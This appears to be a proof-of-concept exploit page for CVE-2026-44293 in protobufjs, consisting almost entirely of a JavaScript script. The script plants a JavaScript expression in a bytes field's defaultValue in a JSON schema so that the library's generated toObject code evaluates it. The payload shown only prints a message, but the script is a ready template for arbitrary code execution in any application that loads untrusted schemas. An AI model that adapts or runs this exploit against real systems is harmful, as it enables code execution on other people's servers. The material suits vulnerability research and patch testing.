CVE-2026-44293 protobufjs 代码注入漏洞

// PoC for CVE-2026-44293: protobufjs Code Injection // This PoC demonstrates how a non-string default value in a bytes field // can lead to arbitrary code execution during the toObject generation. const protobuf = require("protobufjs"); // 1. Define a malicious schema with a bytes field // The 'defaultValue' contains a JavaScript expression instead of a valid bytes string. const maliciousJson = { nested: { VulnerableMessage: { fields: { maliciousField: { type: "bytes", id: 1, // Injection payload: This will be evaluated as JS code // Example: trying to execute a function or accessing global objects defaultValue: '(function(){console.log("[+] CVE-2026-44293 Exploited: Code Execution!");})()' } } } } }; // 2. Load the schema console.log("[*] Loading malicious schema..."); const root = protobuf.Root.fromJSON(maliciousJson); const MessageType = root.lookupType("VulnerableMessage"); // 3. Trigger the vulnerability // The code is generated and executed when toObject is called or the type is initialized. console.log("[*] Triggering code generation via toObject..."); try { // Create an empty message instance const message = MessageType.create({}); // Convert to object. In vulnerable versions, this triggers the evaluation of the default value. const obj = MessageType.toObject(message); console.log("[-] Exploit failed. Code did not execute."); } catch (e) { console.log("[-] Exploit failed with error:", e.message); }